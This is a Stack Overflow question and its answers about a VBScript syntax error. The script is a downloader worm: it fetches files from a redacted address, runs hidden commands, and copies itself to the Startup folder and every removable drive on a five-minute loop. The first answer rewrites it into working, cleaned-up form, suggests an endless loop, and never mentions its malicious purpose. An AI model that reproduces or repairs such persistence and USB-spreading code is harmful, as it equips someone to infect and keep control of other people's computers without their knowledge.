vbs error end required

i'm learning vbs. and i've found this code in internet. Tried to run it but it won't start. replaced some personal data with adresssss fileeee and commandddd

On Error Resume Next
Set WshShell = CreateObject("WScript.Shell")
Set fs = CreateObject("Scripting.FileSystemObject")
Path = WshShell.SpecialFolders("Startup")
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "adressssssssss", False
xHttp.Send
with bStrm
    .type = 1 '//binary
    .open
    .write xHttp.responseBody
    .savetofile "fileeeee", 2 '//overwrite
End with
dim xHttpa: Set xHttpa = createobject("Microsoft.XMLHTTP")
dim bStrma: Set bStrma = createobject("Adodb.Stream")
xHttpa.Open "GET", "adressss", False
xHttpa.Send
with bStrm
    .type = 1 '//binary
    .open
    .write xHttp.responseBody
    .savetofile "fileeee", 2 '//overwrite
End with
Dim objWshae
Set objWshae = CreateObject( "WScript.Shell" )
objWshae.Run "commandddd" , 0 , 0
Set(objWshae)=Nothing
Dim objWsh
Set objWsh = CreateObject( "WScript.Shell" )
objWsh.Run "command" , 0 , 0
Set(objWsh)=Nothing
Dim objWsha
Set objWsha = CreateObject( "WScript.Shell" )
objWsha.Run "command" , 0 , 0
Set(objWsha)=Nothing
Start()

Function Start()
X = fs.CopyFile("NX21.vbs", Path & "\", True)
Set dc = fs.Drives
For Each d in dc
If (d.DriveType = 1) Then
s = d.DriveLetter
X = fs.CopyFile("NX21.vbs", s & ":\", True)
Else
End 
If
Next

Else
End 
If
WScript.Sleep 300000
Start()
End Function

and this code won't run?! it gives error "End expected"

Upvotes: 0

Views: 470

Answers (2)

AutomatedChaos
AutomatedChaos

Reputation: 7500

It seems you don't understand what you are doing. Try to get some basic understanding of VBScript. Do not use On error resume next because that will hide errors from you. Try to understand conditional statements, reuse objects like the Wscript.Shell, AdoDB stream and XHTTP object, set objects to Nothing the correct way, assign variables correctly, use function calls properly. Use Option Explicit.

This is how your script should look like (without testing it, just syntactical):

Option Explicit

Dim WshShell, Path, xHttp, bStrm
Set WshShell = CreateObject("WScript.Shell")
Path = WshShell.SpecialFolders("Startup")
Set xHttp = createobject("Microsoft.XMLHTTP")
Set bStrm = createobject("Adodb.Stream")

xHttp.Open "GET", "adressssssssss", False
xHttp.Send

bStrm.type = 1 '//binary
bStrm.open
bStrm.write xHttp.responseBody
bStrm.savetofile "fileeeee", 2 '//overwrite

xHttp.Open "GET", "adressss", False
xHttp.Send
bStrm.type = 1 '//binary
bStrm.open
bStrm.write xHttp.responseBody
bStrm.savetofile "fileeee", 2 '//overwrite

Dim objWsh
Set objWsh = CreateObject( "WScript.Shell" )
objWsh.Run "commandddd", 0, 0
objWsh.Run "command", 0, 0
objWsh.Run "command", 0, 0

Call Start()

Function Start()
    Dim dc, fs, d, s
    Set fs = CreateObject("Scripting.FileSystemObject")
    fs.CopyFile "NX21.vbs", Path & "\", True

    Set dc = fs.Drives
    For Each d in dc
        If d.DriveType = 1 Then
            s = d.DriveLetter
            fs.CopyFile "NX21.vbs", s & ":\", True
        Else
            ' The drivetype was not of a removable type
        End If
    Next

    WScript.Sleep 300000
    Call Start() ' <-- Ah, how appropriate, a risk on a Stack Overflow
End Function

Note on the last comment:
You are calling the Start() function from inside the Start() function, creating a non exitable recursive loop. After a few hundreds of thousands iterations you will get a Stack overflow error. Luckily you wait 300 seconds for each iteration so it will take several years to get to that.

Better to put the first call of the Start function (outside the function itself) in a do / loop construct:

Do
    Call Start()
    WScript.Sleep 300000
Loop

Upvotes: 0

Ekkehard.Horner
Ekkehard.Horner

Reputation: 38745

Control statements have to be properly nested. So even if you add the missing conditional,

For Each d in dc
  If (d.DriveType = 1) Then
     s = d.DriveLetter
     X = fs.CopyFile("NX21.vbs", s & ":\", True)
  Else
     whatever
  End 
  If whatever Then
Next

is illegal. If you'd use proper indentation, atrocities like the above would be obvious.

On second reading: Perhaps you meant:

For Each d in dc
  If (d.DriveType = 1) Then
     s = d.DriveLetter
     X = fs.CopyFile("NX21.vbs", s & ":\", True)
  Else
     whatever
  End If ' <-- on one line please!
Next

In general: The "End X" phrases must be on one line.

Upvotes: 1

Related Questions